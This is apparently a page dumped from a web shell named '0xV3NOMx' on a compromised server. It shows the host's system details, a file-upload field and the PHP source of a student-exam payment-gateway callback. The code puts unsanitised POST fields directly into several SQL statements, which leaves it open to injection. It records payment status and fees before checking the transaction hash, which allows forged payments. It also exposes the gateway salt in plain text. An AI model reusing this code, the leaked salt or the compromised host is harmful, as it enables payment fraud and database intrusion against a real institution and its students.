0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.98.244


Current Path : /proc/thread-self/root/var/www/student/uet/
Upload File :
Current File : //proc/thread-self/root/var/www/student/uet/payment_gate_way_responce.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<link rel="shortcut icon" type="image/jpg" href="img/favicon.jpg" />	
	<?php require_once("links/js_files.php");?> 
	<script src="js/candidate_list.js"></script>
	<script type="text/javascript">
		$(function(){
		
		  $('.index_label_div').corner("5px").css("border","1px solid #6F6868");	
		   $('.messageboard-div').corner("5px").css("border","1px solid #6F6868");	
		  $('.reg_no_div').corner("bl br").css("border","1px solid #6F6868");	
		  $('#main_message_board').corner("bl br").css("border","1px solid #2596CE");	
		  $('.submit_div_button').corner("5px");	
		  $('.div_app_form_center_blue').corner("tl tr");
		  $('.div_app_form_center_black').corner("tl tr");
		  $('#print_app_form').corner("5px");
			 
		});
	 
</script>

</head>

<body  >
<div id='main_frame'>
	<div class='header_main_div'>
		<?php require_once("links/header.php");?> 
		<div id='main_page_div' style=' text-align: center;'>	
		<?php
				require_once(dirname(__FILE__)."/cconfig.php");
			ini_set("display_errors","On");
			error_reporting(E_ALL ^ E_NOTICE);
			require_once("cconfig.php");
			$aobj_context=CConfig::CreateNewDbContext();
			$status=$_POST["status"];
			$firstname=$_POST["firstname"];
			$amount=$_POST["amount"];
			$txnid=$_POST["txnid"];
			$posted_hash=$_POST["hash"];
			$key=$_POST["key"];
			$productinfo=$_POST["productinfo"];
			$regno=$_POST["regno"];
			$email=$_POST["email"];
			$salt="6nUQgBjF";
			$remarks="";
			foreach($_POST as $ak=>$av)
			{
			$remarks.="{$ak} => ".addslashes($av)." \n";
			}
		 
			$update="update appcandsum set FPAYMENTREMARKS='{$remarks}',FPAYMENTSTATUS='{$status}',
			FPAYMENTCONFIRM='{$status}',FACKDATE=now(),FACKUSER='{$firstname}'
			where APPNO='{$productinfo}'";
			$lobj_update =  $aobj_context->mobj_db->Execute($update);

			$get_app_cand_det="SELECT FDEGREE,FEXAMNO,FCOLLCODE,FREGNO,FSUBCODE,FINSERTED,FPRESENT,FYEAR,FEXAMTYPE
			FROM appcanddet
			WHERE APPNO='{$productinfo}'";	
			$lobj_get_app_cand_det = $aobj_context->mobj_db->GetRow($get_app_cand_det); 

			$collcode = $lobj_get_app_cand_det[FCOLLCODE];
			$degree = $lobj_get_app_cand_det[FDEGREE];
			$regno = $lobj_get_app_cand_det[FREGNO];
					
					 
			$update_cand_sum="UPDATE appcandsum a,candsum c
			SET 
			c.FEXAMFEEA=if(ifnull(c.FEXAMFEEA,0) <=0,ifnull(a.FEXAMFEEA,0),ifnull(c.FEXAMFEEA,0)),
			c.FEXAMFEEB=if(ifnull(c.FEXAMFEEB,0) <=0,ifnull(a.FEXAMFEEB,0),ifnull(c.FEXAMFEEB,0)),
			c.FEXAMFEEC=if(ifnull(c.FEXAMFEEC,0) <=0,ifnull(a.FEXAMFEEC,0),ifnull(c.FEXAMFEEC,0)),
			c.FEXAMFEED=if(ifnull(c.FEXAMFEED,0) <=0,ifnull(a.FEXAMFEED,0),ifnull(c.FEXAMFEED,0)),
			c.FEXAMFEEE=if(ifnull(c.FEXAMFEEE,0) <=0,ifnull(a.FEXAMFEEE,0),ifnull(c.FEXAMFEEE,0)),
			c.FEXAMFEEF=if(ifnull(c.FEXAMFEEF,0) <=0,ifnull(a.FEXAMFEEF,0),ifnull(c.FEXAMFEEF,0)),
			c.FEXAMFEEG=if(ifnull(c.FEXAMFEEG,0) <=0,ifnull(a.FEXAMFEEG,0),ifnull(c.FEXAMFEEG,0)),
			c.FEXAMFEEH=if(ifnull(c.FEXAMFEEH,0) <=0,ifnull(a.FEXAMFEEH,0),ifnull(c.FEXAMFEEH,0)),
			c.FEXAMFEEI=if(ifnull(c.FEXAMFEEI,0) <=0,ifnull(a.FEXAMFEEI,0),ifnull(c.FEXAMFEEI,0)),
			c.FEXAMFEEJ=if(ifnull(c.FEXAMFEEJ,0) <=0,ifnull(a.FEXAMFEEJ,0),ifnull(c.FEXAMFEEJ,0)),
			c.FTOTALFEE=a.FTOTALFEE,
			c.frecptdate = date(now())
			WHERE a.fregno=c.FREGNO
			AND a.APPNO='{$productinfo}' and a.FCOLLCODE='{$collcode}' ";
			$lobj_update_cand_sum = $aobj_context->mobj_db->Execute($update_cand_sum); 
			
			$update_cand_appCand = "update canddet c, appcanddet t  
			set c.finserted = t.finserted,
			c.fpresent = t.fpresent
			where c.fdegree = t.fdegree
			and c.fexamno = t.fexamno
			and c.fregno = t.fregno
			and c.fsubcode = t.fsubcode
			and c.fdegree = '{$degree}' and  c.fregno = '{$regno}' and t.APPNO='{$productinfo}' and ifnull(c.fpresent,'') <> 'P'";
			
			$lobj_update_cand_appCand = $aobj_context->mobj_db->Execute($update_cand_appCand); 			

			$insert_canddet ="insert into canddet(fdegree,FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, FINSERTED, FPRESENT, FYEAR, FEXAMTYPE)
			select fdegree, FEXAMNO, FCOLLCODE,FREGNO, FSUBCODE,FINSERTED, FPRESENT, FYEAR,FEXAMTYPE from appcanddet where 
			fregno = '{$regno}' and appno ='{$productinfo}' and CONCAT(fdegree,fexamno,fregno,fsubcode) 
			not in(select CONCAT(fdegree,fexamno,fregno,fsubcode) from canddet where  fregno = '{$regno}')
			";
			$lobj_insert_canddet = $aobj_context->mobj_db->Execute($insert_canddet);

			$update_studfee = "update studfee s, appstudfee a
			set s.famount = a.famount,
			s.flogdate = a.flogdate
			where s.fdegree = a.fdegree
			and s.fexamno = a.fexamno
			and s.fregno = a.fregno
			and s.ffeecode = a.ffeecode
			and  s.fregno = '{$regno}' and a.appno ='{$productinfo}'";
			$lobj_update_studfee = $aobj_context->mobj_db->Execute($update_studfee);
					
			$insert_studfee ="insert into studfee(fdegree,fexamno,fcollcode,fregno,ffeecode,famount,flogdate)
			select fdegree,fexamno,fcollcode,fregno,ffeecode,famount,flogdate from appstudfee where 
			fregno = '{$regno}' and appno ='{$productinfo}' and CONCAT(fdegree,fexamno,fregno,ffeecode) 
			not in(select CONCAT(fdegree,fexamno,fregno,ffeecode) from studfee where  fdegree = '{$degree}' 
			and fregno = '{$regno}')";
			$lobj_insert_studfee = $aobj_context->mobj_db->Execute($insert_studfee);
					
			If (isset($_POST["additionalCharges"])) 
			{
				$additionalCharges=$_POST["additionalCharges"];
				$retHashSeq = $additionalCharges.'|'.$salt.'|'.$status.'|||||||||||'.$email.'|'.$firstname.'|'.$productinfo.'|'.$amount.'|'.$txnid.'|'.$key;
					
			}
			else 
			{	  

				$retHashSeq = $salt.'|'.$status.'|||||||||||'.$email.'|'.$firstname.'|'.$productinfo.'|'.$amount.'|'.$txnid.'|'.$key;

			}
			$hash = hash("sha512", $retHashSeq);
							 
			if ($hash != $posted_hash) 
			{
				echo "<h1 style='color:red;'>Invalid Transaction. Please try again";
			}
			else
			{
				   
				echo "<h1 style='color:green;'>Thank You. Your order status is ". $status .".</h1>";
				echo "<h2>Your Transaction ID for this transaction is ".$txnid.".</h2>";
				echo "<h3>We have received a payment of Rs. " . $amount  ."</h3>";
				$html="
				<div class='raval_submit' style='width:241px;float:none; margin: 0 auto;' >
				<span onclick=\"PrintApplicationFormNETBANKING('{$productinfo}');\" style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Click here to take a PrintOut</span>
				</div>";
				echo $html;		 
			   
			}         
		?>	
		</div>
	 
	<?php require_once("links/footer.php");?> 

	</div>
</div>
</br>
</body>
</html>